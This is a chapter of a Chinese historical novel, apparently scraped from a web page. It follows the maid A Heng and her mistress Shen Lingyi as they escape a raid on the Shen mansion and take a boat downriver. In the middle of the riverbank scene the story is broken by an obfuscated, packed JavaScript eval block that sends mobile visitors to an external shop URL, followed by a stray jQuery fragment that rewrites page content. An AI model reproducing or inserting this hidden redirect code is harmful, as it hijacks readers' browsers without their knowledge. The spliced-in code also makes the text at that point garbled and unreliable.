阿蘅觉得，自己这一生最怕的，不是死。
死有时候很快。刀落下来，火烧起来，人往水里一沉，也就过去了。最可怕的是，明明知道有一件东西极要紧，却眼睁睁看着它没了。
香匣没了。
这四个字在她心里沉下去，像一块浸了雪水的石头。
她拽着沈令仪往后园跑。风雪迎面打来，青砖地上结着薄冰，稍不留神便会滑倒。她不敢慢，也不敢回头。她怕一回头，就看见二小姐被人拖走，看见夫人倒在雪里，看见老爷被押上囚车。
半刻钟前，小姐让她去找二小姐，又让她顺手取妆台第二层的檀木香匣。
阿蘅知道那只香匣。旧旧的，没什么花纹，匣盖内侧刻着一枝小梅。大小姐平日并不常用它，偶尔取出来，也只是拿几粒香丸，或者翻一翻旧丝线。
阿蘅从前还笑过，沈家大小姐什么精巧匣子没有，偏喜欢这么个磕了角的旧东西。
小姐那时只说：“旧物顺手。”
阿蘅便没有多问。
做丫鬟的，主子不说，便不该问。
何况大小姐待她已经比旁人好太多。她十三岁进沈家，起初在灶下烧水，后来被拨到大小姐院里伺候。她刚来时端水烫了手，是大小姐亲自拿药给她涂。后来大小姐见她偷偷看书，也没有责罚，只指着纸上的字，教她念：
“蘅。”
“这是你的名字。”小姐说，“不是丫鬟阿蘅的阿蘅，是杜蘅的蘅。香草名。”
阿蘅记了很多年。
所以小姐让她取香匣，她连问都没问，立刻去了。
可她刚踏进屋，就觉得不对。
妆台前的圆凳倒在地上，匣屉全被拉开，珠花、香丸、旧帕子散了一地。那不是丫鬟收拾东西的样子，是被人翻过。
很急，也很准。
第一层，空。
第二层，空。
檀木香匣不见了。
阿蘅跪在地上，把帕子、香盒、梳篦一件件翻开。没有。床下没有，屏风后没有，衣箱里也没有。
她急匆匆跑回院中，把香匣失踪的事告诉沈令仪。小姐只是看了春桃一眼，便把香匣被人拿走的消息问了出来。
灰衣人。
右手少半截小指。
阿蘅以为小姐会慌，会怒，会骂她。
可是小姐没有。
小姐只是把这件事埋进了心里。
越是这样，阿蘅越害怕。
香匣若只是寻常物件，小姐不会这么静。它必定很要紧。很可能是老爷留给小姐的路。
可那条路，现在被别人抱走了。
“阿蘅。”
沈令仪忽然开口，打断了她的思绪。
两人已经跑到小花厅外。花厅檐下原本摆着几盆水仙，白日里开得正盛，夜里被兵士撞倒，泥土混着残花洒了一地。
沈令仪停下脚步，看向西角门方向。
阿蘅顺着她的目光看去，心里猛地一沉。
西角门也有火光。
不是沈家护院的灯，是官兵的火把。
有人先她们一步守住了门。
不远处，两个兵士正在门边盘查。一个护院被按跪在雪地里，脸上全是血，却仍咬牙不说。旁边站着一个身形瘦高的男人，穿灰衣，右手藏在袖中。
断指灰衣人。
他怎么会在这里？
刚才他从内院廊角带着香匣一闪而过，转眼竟到了西角门。若他是官府的人，为何不直接把香匣交出去？若他不是官府的人，又为何能和官兵站在一起？
沈令仪显然也看见了。
她往前一步，像是要追。
阿蘅用力拉住她。
“小姐，不能。”
沈令仪盯着那人，声音极低：“匣子在他手里。”
“奴婢知道。”
“那是父亲留给我的东西。”
“奴婢也知道。”
“那你还拦我？”
阿蘅抬起头，眼泪在眼眶里打转。
“老爷叫小姐活下去。”
沈令仪不说话了。
雪落在她睫毛上，很快化成水。她的脸白得近乎透明，眼底却有一团东西硬生生压着，像火，也像冰。
阿蘅知道这句话很残忍。
香匣重要，密账重要，老爷的遗命重要。可若小姐死在这里，一切就都没了。
她压低声音：“小姐，后园还有一条路。”
沈令仪转头看她。
“哪条路？”
“旧井。”
沈府后园有一口旧井，早年打偏了水脉，井水发苦，后来便封了。那地方荒废多年，只种了几丛竹子。沈令仪小时候和沈令姝捉迷藏，曾躲到那里去，被沈夫人知道后好一顿训斥。
“井不是封了吗？”
“封的是上头。”阿蘅急声道，“底下通着排水沟。奴婢小时候在灶下，听老仆说过，沈府早年修宅时，后园排水沟能通到河边。只是多年没用，不知道还能不能走。”
沈令仪只沉默了一息。
“走。”
两人转身往后园跑。
后园比内院更暗。雪压竹枝，风吹过时，竹叶簌簌落雪。她们刚绕过假山，身后便传来脚步声。
有人追来了。
“那边有动静！”
火光从竹影后逼近。
阿蘅心头一紧。沈令仪却忽然停下，看向雪地。
她们一路跑来，足迹太明显。官兵只要跟着脚印，很快就能追上。
沈令仪弯腰，迅速用雪覆住脚印。阿蘅立刻跟着做。可追兵越来越近，哪里来得及一一掩去？
沈令仪环顾四周，目光落在假山旁一棵老松上。松枝压着厚雪。她走过去，用力一扯低枝。积雪轰然落下，将她们方才经过的脚印盖去大半。
阿蘅拖过倒地的竹帚，把剩下的脚印扫乱。
脚步声已到花厅外。
两人绕到假山后，屏住呼吸。
两个兵士举着火把追来。
其中一个骂道：“方才明明看见有人往这边跑。”
另一个低头看地：“脚印乱了。”
“搜！”
一个兵士绕到假山边，火光几乎照到沈令仪的衣角。
就在这时，远处忽然传来一声尖叫。
“二小姐不见了！”
沈令仪的脸色瞬间变了。
那两个兵士立刻回头：“西院！快！”
他们匆匆离开。
火光远去，假山后一片黑暗。
阿蘅还没来得及松口气，便见沈令仪转身要往回走。她急忙拦住：“小姐！”
“令姝出事了。”
“小姐，你现在回去救不了二小姐！”
“她是我妹妹。”
“可你若回去，老爷夫人让你走还有什么用？”
沈令仪猛地看向她。
阿蘅被那眼神看得几乎站不住，却还是死死拦着。
“小姐，二小姐有乳娘，有夫人安排的人。她未必真出事。方才那一声也许是诱你回去的。你不能回去。”
沈令仪浑身都在发抖。
不是怕，是强压着回头的冲动。
许久，她终于闭了闭眼。
“走。”
旧井在后园最偏僻处，旁边长着一丛枯竹。井口压着青石板，覆了一层厚雪。
阿蘅跪下去，用手刨雪，雪水浸进指缝，冷得钻骨。
沈令仪也蹲下帮她。
青石板很沉，两人合力推了几下，纹丝不动。
后头又传来杂乱脚步声。
阿蘅急得眼泪都快掉下来：“推不动。”
沈令仪摸到石板边缘的凹槽：“这里有铁环。”
两人握住铁环，用尽全力往上拉。手指被锈铁割破，血很快染在雪上。
石板终于松动。
一条黑漆漆的缝露出来，潮湿腐臭的气味扑面而来。
沈令仪道：“你先下。”
阿蘅顺着井壁往下爬。井壁湿滑，长满青苔。她脚下一滑，险些坠下去，死死抓住一块突出的砖，手掌被磨破，疼得眼前发黑。
“阿蘅！”
“奴婢没事！”
井底没有水，只有淤泥和腐叶。她落地后摸索四周，果然摸到一处低矮洞口。
排水沟还在。
“小姐，可以下来！”
沈令仪很快下来了。两人合力从下面将石板勉强拉回原位。井口重新陷入黑暗，只有细细一线雪光漏下来。
紧接着，脚步声到了井边。
阿蘅连呼吸都停了。
有人在上头说道：“这里没人。”
另一个人不耐烦道：“后园都搜遍了。方才西院那边说二小姐不见，估计是丫鬟看错。上头要找的是大小姐，别让人跑了。”
“大小姐一个闺阁女子，能跑哪儿去？”
“你没听说？沈确那女儿会看账。上头特意吩咐，活要见人，死要见尸。”
阿蘅心里一寒。
他们果然是冲小姐来的。
脚步声渐渐远去。
井底仍然黑得可怕。
沈令仪靠在湿冷的井壁上，缓缓吐出一口气。过了片刻，她忽然问：“春桃呢？”
阿蘅怔了怔：“还在院里。”
“管事娘子呢？”
“奴婢没看见。”
沈令仪沉默片刻：“管事娘子是母亲的人。若她真带外人进我屋，不会说奉母亲命。”
阿蘅一时没明白：“小姐的意思是……”
“有人借母亲的名义。”沈令仪声音很轻，“能叫春桃不敢拦，说明那人平日能进内院。能准确翻到香匣，说明他知道父亲给我留了东西。能在官兵合围之前动手，说明他也知道今夜会抄家。”
阿蘅后背一阵发冷。
“府里有内鬼。”
沈令仪没有接话。
她还想不明白是谁，也不敢想。沈府那么多人，谁都有可能，又好像谁都不该是。
黑暗里，排水沟传来滴水声。
一下，一下，像有人在数她们剩下的命。
过了很久，沈令仪才说：“断指灰衣人没有把香匣交给官兵。他在西角门，像是在等人。他不是偷，是奉命取。”
“奉谁的命？”
沈令仪没有回答。
她答不出来。
她只能记住。
两人弯腰钻入排水沟。
沟道低矮，淤泥没过鞋面，腐臭味熏得人头晕。上方偶尔传来沉闷脚步声。阿蘅走在前面，一手扶墙，一手摸索道路。
沈令仪跟在身后，忽然低声道：“你怕吗？”
“怕。”阿蘅答得很快。
沈令仪似乎没想到她这么诚实。
阿蘅又说：“怕也得走。”
两人走了不知多久，前方终于有了风。
前方出现一道锈铁栅，外面隐约可见河面雪光。
可栅栏锁着。
沈令仪摸索铁栅底部，很快摸到一处被水蚀空的缝。
“下面能钻。”
那缝隙极窄，淤泥堵了大半，只够瘦小的人勉强爬过。
阿蘅先钻。铁栅刮破她肩头，疼得她倒抽一口冷气。她咬牙往前，半边身子终于出了栅栏。
“小姐，可以！”
她回身拉沈令仪。
沈令仪比她高些，斗篷又厚，钻得更艰难。远处似乎又有脚步声沿河岸靠近。
“快！”
沈令仪肩头被铁栅划破，发出一声闷哼。阿蘅狠狠一拉，她终于从缝隙里跌出来，两人一同摔在河岸雪地里。
外面是沈府后河。
河面未冻，黑沉沉流着，雪落进去，转瞬不见。远处沈府火光映在水面上，碎成一道道红痕。平日这条河上停满沈家货船，夜里有船工守灯，有浆声，有笑骂声。此刻，码头空空荡荡，只剩几根缆桩立在雪中，像断了的骨头。
阿蘅扶起沈令仪：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528617|203631||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“小姐，我们去哪儿？”
沈令仪站稳，望向远处。
“找船。”
“沈家的船只怕都被封了。”
“那就找没被封的。”
话音刚落，河下游传来一声轻轻的水响。
雪幕中，一只乌篷小船无声靠近。船头站着一个身披蓑衣的人，斗笠压得很低，看不清脸。船没有挂灯，只在舱里透出一点极暗的光。
阿蘅立刻挡在沈令仪身前。
那人撑船靠岸，声音低哑：“沈大小姐？”
沈令仪没有答。
那人又说：“有人出钱，要我送你出城。”
“谁？”
“死人。”
阿蘅听得头皮一麻。
沈令仪却上前半步：“什么死人？”
船上人抬起头，露出一张年轻而带着匪气的脸。他嘴角有一道浅疤，眼睛亮得像夜里水上的寒星。
“沈老爷。”他说，“三日前，他让人给我送了二百两银子，说若沈府夜里起火，后河会有人出来，要我接走。”
三日前。
父亲三日前就安排了水路。
船上人看向沈府方向，啧了一声：“不过我瞧这阵仗，沈老爷料得还是轻了。他说起火，没说灭门。”
阿蘅怒道：“你胡说什么！”
那人耸肩：“我叫陆沉舟。水上讨饭吃，说话不中听。上不上船，给句准话。再晚一会儿，金吾卫封河，我也走不了。”
陆沉舟。
江上水匪，半商半盗，沈家船队从前没少和他打交道。这样的人，怎么能信？
阿蘅刚要劝，沈令仪却问：“父亲给你的信物呢？”
陆沉舟笑了。
“沈大小姐果然不好糊弄。”
他从怀里摸出一小块木牌，扔上岸。沈令仪接住，借着雪光看见上面刻着沈家船队暗号。
是真的。
沈令仪收紧手指。
“走。”
阿蘅心里发慌：“小姐……”
“上船。”沈令仪道，“留在这里才是死路。”
乌篷船很快离岸。
陆沉舟撑篙无声，船身贴着河岸阴影往下游滑去。沈府渐渐远了，火光却更盛。阿蘅跪坐在舱口，望着那片熟悉的宅院被兵火吞没，眼泪终于掉下来。
沈令仪一直没有哭。
她坐在舱中，浑身湿冷，脸色苍白，怀里只剩一枚玉簪，袖中藏着弯掉的裁纸刀。
父亲给她的香匣没了，妹妹失散了，母亲生死未卜，沈府的大门在她身后合上，像一座坟。
陆沉舟撑着船，忽然问：“大小姐，你屋里那个匣子，很值钱？”
沈令仪猛地抬眼。
阿蘅也惊住：“你怎么知道？”
陆沉舟没有回头：“方才我在下游等你们，看见一个灰衣人先一步从沈府西边出来。怀里抱着个檀木匣子。右手少根指头，走得很快，身边还有两个人接应。”
沈令仪声音发紧：“他去哪儿了？”
“上了一辆青帷马车，往城北去了。”
“城北哪里？”
“江宁城北能藏马车的地方不少。”陆沉舟道，“白檀寺后巷，江宁西市万丰货栈，还有内库设在江南的外坊。”
内库外坊。
沈令仪眼底微微一动。
那不是宫里，却归长安内库管，专收江南香税、盐银与贡料。若香匣真从那里过手，便说明拿匣子的人背后不是州府，而是宫里。
“能查吗？”她问。
陆沉舟挑眉：“我收的是送你出城的钱，不是替你追人的钱。”
沈令仪低头，看向掌心里的白玉簪。
阿蘅立刻急了：“小姐，这不能给！”
沈令仪没有说话。
她当然知道不能给。那是母亲塞给她的东西，是她眼下唯一能握住的旧物。
可她现在什么都没有。
陆沉舟看着她的神情，忽然笑了一声。
“行了，别拿那玩意儿吓我。你真把簪子给我，我也不敢收。沈夫人贴身戴的东西，烫手。”
沈令仪抬眼：“那你要什么？”
“沈老爷给了二百两，只够送你出城。”陆沉舟道，“查断指人，是另一笔买卖。”
“我现在没有银子。”
“我知道。”
“但父亲既然安排了你，就说明他还有后手。”沈令仪慢慢道，“你帮我查那辆马车去了哪里，若我能找到父亲留下的第二条路，这笔账，我还。”
陆沉舟盯着她。
船行入暗水，雪落无声。远处沈府火光渐渐被河湾遮去，只剩天边一片暗红。
良久，他道：“沈家人还真有意思。家都没了，还想着记账。”
沈令仪道：“家没了，才更要记。”
陆沉舟收了笑。
“先送你去白檀寺？”
沈令仪握紧白玉簪。
“先去白檀寺。”
“那里可未必安全。”
“沈家已经没有安全的地方了。”沈令仪低声道，“但那里或许还有父亲留下的第二条路。”
陆沉舟没有再问，船篙一转，乌篷船悄然转向另一条支流。
阿蘅低声问：“小姐，香匣还能找回来吗？”
沈令仪看向舱外。
河水漆黑，雪落无痕。长安还只是母亲话里一个遥远的方向，而沈府已在身后化为一团模糊火光。
她说：“能。”
“若找不回来呢？”
沈令仪静了片刻。
“那就找到拿走它的人。”
“若人也找不到呢？”
沈令仪抬眼，眸色比雪夜还冷。
“那就找到让他来的人。”
乌篷船破开黑水，悄无声息地驶入更深的夜色。
从今夜起，她们要找的不只是一只香匣。
她们要找的是沈家被推入黑暗之前，父亲究竟替她们留了哪一条路。